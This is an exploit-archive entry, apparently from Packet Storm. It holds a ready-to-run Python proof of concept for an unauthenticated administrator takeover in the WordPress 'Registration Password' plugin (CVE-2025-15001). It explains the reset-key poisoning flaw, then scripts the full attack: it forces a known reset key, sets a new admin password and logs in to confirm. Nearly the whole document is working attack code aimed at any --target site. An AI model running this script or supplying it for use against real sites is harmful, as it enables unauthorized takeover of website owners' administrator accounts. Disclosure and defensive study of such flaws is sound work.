## https://sploitus.com/exploit?id=PACKETSTORM:226439
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Registration Password <= 1.0.1 - Unauthenticated Administrator Account Takeover (Reset-Key Poisoning)
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/registration-password/
# Software Link: https://downloads.wordpress.org/plugin/registration-password.1.0.1.zip
# Version: 1.0.1 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2025-15001
"""
Registration Password <= 1.0.1 adds a global `random_password` filter (src/WP/Auth.php:14) that
returns the attacker-supplied $_POST['pass1'] whenever $_POST['fs_is_password_for_registration']==
'yes' (src/WP/Auth.php:68-79) โ with NO check that the current flow is actually a registration.
WordPress's get_password_reset_key() generates the reset key via wp_generate_password(), which runs
the `random_password` filter. So an attacker triggering a password reset for `admin` while sending
the poisoning fields forces the stored reset key to a value they choose. They then complete the
reset with that known key and set a new administrator password -> full account takeover, entirely
unauthenticated.
Prior state: plugin active (registration form not even required).
"""
import argparse, sys
import requests
requests.packages.urllib3.disable_warnings()
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--admin", default="admin", help="victim login")
ap.add_argument("--key", default="Knownkey12345678abcd", help="attacker-chosen reset key")
ap.add_argument("--newpass", default="PwnedAdmin!2026")
args = ap.parse_args()
base = args.target.rstrip("/")
s = requests.Session(); s.verify = False
# 1) poison the reset key: forced to args.key via the random_password filter
s.get(base + "/wp-login.php?action=lostpassword")
s.post(base + "/wp-login.php?action=lostpassword",
data={"user_login": args.admin, "fs_is_password_for_registration": "yes",
"pass1": args.key, "wp-submit": "Get New Password", "redirect_to": ""},
allow_redirects=True)
# 2) complete the reset with the known key
s.get(base + "/wp-login.php?action=rp&key=%s&login=%s" % (args.key, args.admin),
allow_redirects=True)
s.post(base + "/wp-login.php?action=resetpass",
data={"pass1": args.newpass, "pass2": args.newpass, "rp_key": args.key,
"wp-submit": "Save Password"}, allow_redirects=True)
# 3) prove: log in as admin with the attacker's password
a = requests.Session(); a.verify = False
a.get(base + "/wp-login.php"); a.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
lr = a.post(base + "/wp-login.php", data={"log": args.admin, "pwd": args.newpass,
"wp-submit": "Log In", "redirect_to": base + "/wp-admin/", "testcookie": "1"},
allow_redirects=False)
logged = "wordpress_logged_in" in lr.headers.get("Set-Cookie", "")
print(f"[*] Target: {base} | victim: {args.admin} | forced key: {args.key}")
print(f"[*] login as {args.admin} with attacker password: {logged}")
if logged:
print(f"\n[+] ACCOUNT TAKEOVER CONFIRMED โ administrator '{args.admin}' password reset by an "
f"unauthenticated attacker; logged in as administrator.")
return 0
print("\n[-] not confirmed"); return 1
if __name__ == "__main__":
sys.exit(main())